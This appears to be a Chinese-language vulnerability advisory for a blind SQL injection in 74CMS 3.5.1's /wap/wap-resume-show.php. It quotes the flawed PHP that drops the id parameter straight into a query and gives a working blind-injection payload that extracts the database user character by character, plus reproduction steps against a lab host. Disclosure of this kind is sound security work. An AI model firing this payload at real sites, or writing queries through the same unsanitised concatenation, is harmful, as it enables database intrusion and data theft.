74CMS 3.5.1 /wap/wap-resume-show.php SQL注入漏洞

<ul><li>/wap/wap-resume-show.php</li></ul><pre class="">if(intval($_SESSION["uid"])&gt;0){ $sql="select * from ".table("company_down_resume")." where company_uid=$_SESSION[uid] and resume_id=$_GET[id] "; $down_resume=$db-&gt;getone($sql); $smarty-&gt;assign('down_resume',$down_resume); $time=time(); $jobs_sql="select * from ".table("jobs")." where uid=$_SESSION[uid] and display=1 and deadline&gt;$time "; $jobs_row=$db-&gt;getall($jobs_sql); $smarty-&gt;assign('jobs_row',$jobs_row); } </pre><p>用户提交的id直接带入SQL语句，可以进行盲注。</p><p>当提交：</p><pre class="">/wap/wap-resume-show.php?id=1%20and%20114=ascii(substring(user(),1,1))</pre><p>执行的SQL语句为：</p><pre class="">select * from qs_company_down_resume where company_uid=2 and resume_id=1 and 114=ascii(substring(user(),1,1))</pre><p>可见SQL注入存在。</p><p>注册一个个人用户，发布简历，获取简历id；再注册企业用户，访问地址：</p><pre class="">http://10.211.55.3/74cms/wap/wap-resume-show.php?id=1</pre><p>发送数据包：</p><pre class="">http://10.211.55.3/wap/wap-resume-show.php?id=1%20and%20114=ascii(substring(user(),1,1))</pre><p>如果正确则显示：</p><p>&nbsp;</p><p><img alt="ECD0C01F-00A3-49AD-ACEE-7E74A2B13D71.png" src="https://images.seebug.org/@/uploads/1434694541198-ECD0C01F-00A3-49AD-ACEE-7E74A2B13D71.png" data-image-size="450,86"><br></p><p>如果错误显示：&nbsp;</p><p><img alt="1750D9AC-6C39-4D99-94B6-B5F0EB68E851.png" src="https://images.seebug.org/@/uploads/1434694555492-1750D9AC-6C39-4D99-94B6-B5F0EB68E851.png" data-image-size="519,57"><br></p>